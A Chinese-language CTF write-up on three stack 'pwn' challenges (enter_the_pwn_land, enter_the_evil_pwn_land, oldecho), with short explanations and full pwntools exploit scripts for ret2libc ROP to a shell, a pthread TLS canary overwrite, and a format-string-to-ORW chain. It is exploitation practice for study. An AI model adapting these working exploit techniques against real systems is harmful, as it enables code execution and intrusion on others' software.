pwn栈题记录

特别溢出GDB调试

hgame2022 enter_the_pwn_land

image.png

image.png

image.png

这里有个变量记录输入字节数,如果直接溢出会导致不能正常溢出而是一直累加,这里‘1’能绕过

EXP

from pwn import *
context.log_level='debug'
rdi=0x0000000000401313
ret=0x000000000040101a
r=process('./1')
def pwn():
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf=ELF('./1')
    # gdb.attach(r,"b *0x4011E4")
    pay=b'1'*(0x33)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
    r.sendline(pay)
    r.recvuntil('\n')
    leak=u64(r.recv(6)+b'\x00'*2)-libc.sym['puts']
    print(hex(leak))
    sys=leak+libc.sym['system']
    sh=next(libc.search(b'/bin/sh'))+leak
    #gdb.attach(r,"b *0x4011E4")
    pay=b'1'*(0x33)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
    r.sendline(pay)

pwn()
r.interactive()

多线程溢出绕过canary

enter_the_evil_pwn_land

题目和上一题一样,但添加了canary
在使用pthread时,这个TLS会被定位到与线程的栈空间相接近的位置,所以如果输入的数据过长的话也可以把这里覆盖掉,就可以改掉stack_guard的值了。从而绕过金丝雀。
相关文章
thread stack bypass canary和sixstar ctf babystack writeup | Sakuraのblog (eternalsakura13.com)
starctf2018 babystack (ble55ing.github.io)

EXP

from pwn import *
context.log_level='debug'
context.arch="amd64"
rdi=0x0000000000401363
ret=0x000000000040101a
rsi=0x0000000000401361
bss=0x404000+0x500
levae=0x4011FF
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''
r=process('./2')
def pwn():
    libc=ELF("./libc-2.31.so")
    elf=ELF('./2')
    pay=b'\x00'*0x30+p64(bss-0x8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(levae)
    pay=pay.ljust(0x950,b"\x00")
    #gdb.attach(r)
    r.sendline(pay)
    #raw_input()
    r.recvuntil("\n")
    leak=u64(r.recv(6)+b'\x00'*2)-libc.sym['puts']
    print(hex(leak))
    r.sendline(b'\x00'*0x30+p64(1)+p64(leak+0xe6c81))

pwn()
r.interactive()

bss段格式化字符串

oldecho

image.png

image.png

思路

题目有循环的格式化字符串漏洞,在之前关掉了标准输出流,给了一个栈地址,开了沙箱。这题最后也可以leaveret栈迁移到bss,这里直接在环境变量区域写flag了。
要用orw但关闭了标准输出流

EXP

from pwn import*
p = process('./oldecho')
elf = ELF("./oldecho")
libc = elf.libc
context.log_level='debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)
## 接收栈地址
p.recvuntil("Gift: ")
stack=int(p.recvline(),16)
lg('stack',stack)
p.recvline()

# 通过调用一个函数抬一次栈,再调用一个start函数,栈上就会剩下_IO_2_1_stdou_指针
p.sendline("%"+str(stack%0x100-0x20)+"c%6$hhn")# rsp
p.sendline("%"+str(0xA90)+"c%10$hn")# rsp->__libc_start_main

stack=stack-0x110
lg('stack',stack)

# 找一个不影响程序流的地方改stdout_fileno
p.sendline("%"+str((stack+0xa0)%0x100)+"c%14$hhn")# stdout
p.sendline("%"+str(0x90)+"c%40$hhn")# stdout_fileno
p.sendline("%"+str(0x2)+"c%29$hhn")
p.recv()

# 泄露libc和bss地址
p.sendline("%13$p;%9$p;")
libc_base = int(p.recvuntil(';',drop=True),16)-libc.sym["__libc_start_main"]-240
pie = int(p.recvuntil(';',drop=True),16) # bss+48 buf
lg('pie',pie)
pop_rax=libc_base+0x3a738
pop_rdi=libc_base+0x21112
pop_rsi=libc_base+0x202f8
pop_rdx=libc_base+0x1b92
syscall=libc_base+0xbc3f5
puts = libc_base + libc.sym['puts']

payload=''
payload+=p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(pie+0xb0+0x20)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(syscall)
payload+=p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc_base+libc.sym['environ'])+p64(pop_rdx)+p64(0x30)+p64(syscall)
payload+=p64(pop_rax)+p64(1)+p64(pop_rdi)+p64(libc_base+libc.sym['environ'])+p64(puts)
payload+='flag'

# set jmp2payload 修改程序流控制rsp及其下方
'''
0x0000000000000edd: pop rsp; pop r13; pop r14; pop r15; ret;
'''
p.sendline("%"+str((stack-0x8)%0x100)+"c%6$hhn")# 链入
p.recv()
p.sendline("%"+str(0xedd)+"c%10$hn")
p.recv()
p.sendline("%"+str((stack-0x10)%0x100)+"c%6$hhn")# 链入
p.recv()
p.sendline(("%"+str(0x3f)+"c%10$hhn").ljust(0x18,'\x00')+payload)# retn

p.interactive()

你可能感兴趣的:(pwn栈题记录)